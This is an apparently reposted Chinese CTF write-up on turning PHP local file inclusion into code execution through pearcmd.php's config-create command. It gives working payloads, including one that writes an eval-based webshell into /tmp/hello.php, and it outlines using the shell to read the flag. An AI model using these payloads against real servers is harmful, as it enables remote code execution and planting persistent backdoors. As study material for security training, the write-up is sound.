• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

文件包含:包含pearcmd.php漏洞

武飞扬头像
菜鸟爱吃西瓜
帮助1

文件包含之包含pearcmd.php漏洞

1.概念

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;

在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。

要利用这个pearcmd.php需要满足几个条件:

(1).要开启register_argc_argv这个选项在Docker中使自动开启的

(2).要有文件包含的利用

我们再来看一下pearcmd.php可以接受哪些命令

学新通

2.利用

看到config-create,去阅读其代码和帮助,可以知道,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中。

所以最后构造出payload

/index.php? config-create /&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?> /tmp/hello.php

上面是将<?=phpinfo()?>写到/tmp/hello.php,然后我们再使用文件包含进行包含我们之前写入的文件(hello.php)就可以了。

3.CTF案列:

  1.  
    <?php
  2.  
    error_reporting(0);
  3.  
    highlight_file(__FILE__);
  4.  
    //Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
  5.  
    if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
  6.  
    include($_GET['file'].".php");
  7.  
    }else{
  8.  
    die("Hacker!");
  9.  
    }

(1)将后门代码(<?=@eval($_POST[1])?>)传入指定文件(/tmp/hello.php)

payload:/index.php? config-create /&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?> /tmp/hello.php

注意1:用burpsuite传GET,用hackbar会被url编码,传入文件无法解析

学新通

注意2:/index.php可以去掉。只需要:

? config-create /&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1])?> /tmp/hello.php

学新通

(2)访问传入的后门代码(hello.php文件),并传入参数执行。

先列出根目录。

学新通

查看源码,发现flag所在文件。

学新通

直接读取flag。

学新通

文章参考链接:

文件包含漏洞包含pearcmd.php - 无据 - 博客园 (cnblogs.com)

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgfccbf
系列文章
更多 icon
同类精品
更多 icon
继续加载